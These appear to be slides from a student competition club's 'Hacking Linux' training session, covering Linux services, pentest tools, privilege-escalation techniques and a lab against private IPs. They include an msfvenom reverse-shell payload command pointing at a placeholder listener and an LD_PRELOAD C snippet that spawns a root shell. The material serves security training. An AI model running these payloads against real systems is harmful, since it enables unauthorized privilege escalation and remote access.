
Week 4:
Hacking Linux
Linux Hacking

Sign-in: 

https://jessh.zip/cptcweek4 
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SIGN IN!!

https://jessh.zip/cptcweek4
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Marshall Ung | Shadowclaw

4th Year CE
CCDC 

Alternate Threat Hunter 2022-2023
Threat Hunter 2023-2024
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Alternate Pentester 2022
Pentester 2023
Captain 2024

whoami
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Next on Bronco CPTC . . . 
When What

July 13th Introduction to CPP Cyber

July 20th Intro to Penetration Testing

July 27th Hacking Web Applications

August 3rd Hacking Linux

August 10th Hacking Windows

August 17th Consulting

August 24 - 25th Tryouts

August 31th Full CPTC Team Selected

You 
are
here
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Common Linux Services

Databases - Varies

FTP - Port 21 TCP

SSH - Port 22 TCP

HTTP/S - Port 80/443 TCP
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File Transfer Protocol
● Host files for downloading and sometimes uploading
● Can be anonymous, guest, or require creds
● Can host sensitive content or be vulnerable

FTP: 21 TCP
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SSH: 22 TCP

Secure Shell
● Remotely access and manage systems
● Can be used to securely transfer files via SCP
● Requires credentials or an authorized key-pair
● If a user can read files on a system, they could copy an ssh 

key, giving them ssh access
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HTTP: 80/443 TCP

Hypertext Transfer Protocol (Web 
Servers)
● Lots of different web servers on different ports
● Source code in web root may have more information 

about the system (e.g. database credentials)
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Database Servers
● Store large quantities of data in database structures
● Potentially store sensitive data such as password hashes 

which can be decrypted 

Databases
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Tools 



Msfvenom - Payload Generation
Generate payloads to execute on your target 

Ex.
msfvenom -p windows/shell_reverce_tcp LHOST=<LISTENER IP> LPORT=<LISTENER 
PORT> -f exe > shell.exe

Underscore indicates a stageless payload
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File Transfer

Python Web Server 
python -m http.server <port>

Curl Download
curl http://<ip>:<port>/downloadfile > outfile

Wget
wget <ip>:<port>/downloadfile 
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LinPEAS - Enumerate privilege 
escalation vectors

https://github.com/carlospolop/
PEASS-ng/tree/master/linPEAS
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GTFOBins - Linux binaries that 
can be exploited

https://gtfobins.github.io/
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Pspy - Monitor Processes 
without root permissions

https://github.com/DominicBreuker/pspy
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Google - Remember to use Google
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Attacks



20

Linux Attacks

Linux

Weak File 
Permissions

SUID/SGID

Environment 
variables

Cronjobs

SUDO abuse

Kernel 
ExploitsVulnerable 

Applications
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Insecure File Permissions
Weak file permissions on files could lead to compromise 
Ex: Insecure permissions on /etc/passwd & /etc/shadow can allow 
for unprivileged users to add other users, escalating their privileges 
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SUID/SGID 
Abuse Set User ID/Group User ID permissions
Executables with SUID/GUID bit run as owner/group owner 
respectively
You can run it if you have execute perms, but it will spawn as owner
Use GTFO Bins
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4000 = SUID Permissions
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You have access to SUDO on specific binaries
Use sudo on specific binaries so the process spawns as root and 
start a shell process

SUDO Abuse
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Way to Automate Running commands/scripts
If you have write permissions on a file that is run by another user 
here, you could act as that user

Crontabs
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Exploits that affect a certain version of the kernel itself
Users can leverage kernel exploits to gain elevated privileges
Ex: Dirty Cow (CVE-2016-5195)

Kernel Exploits
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$PATH
Acts as a list of "shortcuts" so user doesn't need full path
Each path is separated via a “:”
You can "trick" programs that don't use absolute paths by manipulating 
path variable, or the program's current directory

$PATH Variable HIjacking
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https://docs.google.com/file/d/1MH6LIghKzh8n6-bJ2NMHJAeeqmEvu6Uo/preview
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$PATH Hijack Example

ping called with a relative path

Creating a payload named ping

Manipulate $PATH and execute
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Environment variables
LD_PRELOAD
Loads shared objects before anything else
Useful when you can run a binary as sudo, then preload custom .so

LD_LIBRARY_PATH
List of directories that a program should look for to load a library
Find libraries of a program, create a fake clone, set envvar to clone

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}
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https://docs.google.com/file/d/1N-8pxaBeAkpON_sMPKTqGieTjeUk4CF8/preview
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Lab Time



Lab Instructions

Environment
Router (out of scope)
Linux 1 - 192.168.1.150 (black box approach)
Linux 2 - 192.168.1.151 (black box approach)

Goals: 
● Find as many vulnerabilities as you can
● Get root (Multiple paths)



Homework Instructions

Write up on 3 Linux vulnerabilities found in the lab
● How you exploited it
● How they work (include screenshots)
● Provide as much detail as you can

https://jessh.zip/25cptc4hw


